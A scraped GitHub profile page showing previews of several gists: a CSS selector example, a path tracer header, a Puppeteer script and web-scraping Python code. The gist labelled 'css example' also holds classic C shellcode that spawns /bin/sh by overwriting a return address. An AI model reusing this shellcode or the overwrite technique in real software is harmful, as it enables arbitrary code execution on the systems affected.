Skip to content

Instantly share code, notes, and snippets.

View Eastkap's full-sized avatar
🎯
Focusing

jacobo Eastkap

🎯
Focusing
View GitHub Profile
@Eastkap
Eastkap / example.css
Created November 19, 2019 09:05
css example
/*
Selects all <ancestor>s which have <descendant> as a descendant somewhere
in its DOM hieraracy.
*/
ancestor << descendant {
/* Styles */
}
char shellCode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void execShell() { int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellCode;
}
void main() {
execShell();
return(0); }
@Eastkap
Eastkap / hybride.c
Created May 9, 2019 17:36
code that segfaults on process 3 when doing 2 process on two separate nodes
/* basé sur on smallpt, a Path Tracer by Kevin Beason, 2008
* http://www.kevinbeason.com/smallpt/
*
* Converti en C et modifié par Charles Bouillaguet, 2019
*
* Pour des détails sur le processus de rendu, lire :
* https://docs.google.com/open?id=0B8g97JkuSSBwUENiWTJXeGtTOHFmSm51UC01YWtCZw
*/
#define _XOPEN_SOURCE
@Eastkap
Eastkap / index.js
Created April 10, 2019 13:21
not working
// We'll use Puppeteer is our browser automation framework.
const puppeteer = require('puppeteer-core');
const chromeLauncher = require('chrome-launcher');
const req = require('./req')
const request = require('request-promise-native')
const profile = require('./profiles')[0]
const util = require('util')
const devices = require('puppeteer/DeviceDescriptors');
const iPhone = devices['iPhone X landscape'];
@Eastkap
Eastkap / getimg.py
Last active January 24, 2017 11:24
import sys, re, csv, requests, time, random
from bs4 import BeautifulSoup
if sys.version_info[0] == 3:
from urllib.request import *
else:
# Not Python 3 - today, it is most likely to be Python 2
# But note that this might need an update when Python 4
# might be around one day
from urllib import urlopen
import sys, re, csv, requests
from bs4 import BeautifulSoup
if sys.version_info[0] == 3:
from urllib.request import urlopen
else:
# Not Python 3 - today, it is most likely to be Python 2
# But note that this might need an update when Python 4
# might be around one day
from urllib import urlopen
@Eastkap
Eastkap / vroom_betatst.py
Last active January 16, 2017 08:35
scrapping vroom vroom and making data to base de donnees
import sys, re
from bs4 import BeautifulSoup
def fnum(s):
for i in range(len(s)):
if (s[i].isdigit()):
return i